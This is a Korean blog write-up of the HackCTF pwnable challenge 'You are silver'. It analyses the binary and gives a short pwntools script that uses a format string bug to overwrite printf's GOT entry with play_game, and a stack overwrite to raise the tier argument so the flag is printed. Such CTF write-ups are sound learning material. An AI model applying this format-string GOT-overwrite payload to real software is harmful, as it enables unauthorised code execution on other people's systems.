Studying Security

[HackCTF] pwnable: You are silver 풀이 본문

Wargame/HackCTF

[HackCTF] pwnable: You are silver 풀이

J4guar 2022. 4. 12. 07:45
728x90
반응형

Mitigation

Vulnerability Analysis

IDA disassembler를 이용해 main함수를 살펴보자

<main>

get_tier함수가 v6 = 50이라는 인자를 받는걸 보니 이걸로 tier가 결정되는 것 같다

get_tier함수를 들어가 보니 역시 인자에 따라 tier가 나눠지고 tier마다 다른 return값을 되돌려주는 걸 확인할 수 있음

<get_tier>

그럼 이 결과 값을 어디다가 쓸까?

<play_game>

바이너리에 들어있는 함수를 살펴보니 play_game이라는 함수가 존재했다

보면 4라는 인자가 Challenger를 의미하고 이때 우리가 원하는 결과 값인 flag를 출력하는 system함수가 들어있다.

이제 해야할 일을 살펴보면 아래와 같이 정리해 볼 수 있다.

  1. get_tier함수에 75보다 큰 인자를 주고 challenger를 의미하는 4라는 return값 얻기
  2. 이 return 값을 play_game함수의 인자로 넘겨주어 flag획득

위와 같이 정리할 수 있다.


1. get_tier함수에 75보다 큰 인자 전달하기

main함수를 살펴보면 fgets함수를 통해 [rbp-0x30]에 0x2e size만큼을 입력 값을 전달할 수 있다.

그런데 get_tier는 [rbp-0x4]의 값을 인자로 전달받고 있으므로 fgets의 입력 값을 통해 이 부분을 바꿔줄 수 있다.

2. get_tier의 return 값을 play_game함수로 넘겨주기

fgets함수 이후 printf를 실행시키고 있는 걸로 보아 Format String Bug을 발생시킬 수 있다.

아래를 보면 get_tier의 return값을 rdi 레지스터에 전달하고 printf 함수 실행시키고 있다.

이 두 사실을 미루어보아 FSB를 통해 printf의 got를 play_game함수로 overwrite하면

get_tier의 return 값을 play_game의 인자로 전달해 flag를 획득할 수 있겠다.

 

Exploit code작성시 주의할 점

Format String Bug 작성시

p64(printf_got) + "%4196047c%6$lln" 이런 방식으로 got overwrite를 시도했었는데 printf함수의 경우 \x00인 null byte를 마주하면 뒷 부분은 출력하지 않음 따라서 "%4196055c%8$llna" + p64(printf_got)와 같은 형태로 입력을 해주어야 한다.

Exploit code

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3022)
e = ELF("./you_are_silver")

printf_got = e.got["printf"]

# format string bug(got overwirte) + modify get_tier's arg
payload = "%4196055c%8$llna" + p64(printf_got)
payload += "A"*(0x2c-len(payload)) + "\x76"
p.sendline(payload)

p.interactive()

Result

반응형

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] pwnable: RTC 풀이  (0) 2022.04.12
[HackCTF] pwnable: Unexploitable #1 풀이  (0) 2022.04.12
[HackCTF] pwnable: ROP 풀이  (0) 2022.04.12
[HackCTF] pwnable: Gift 풀이  (0) 2022.04.10
[HackCTF] pwnable: Look at me 풀이  (0) 2022.04.10
Comments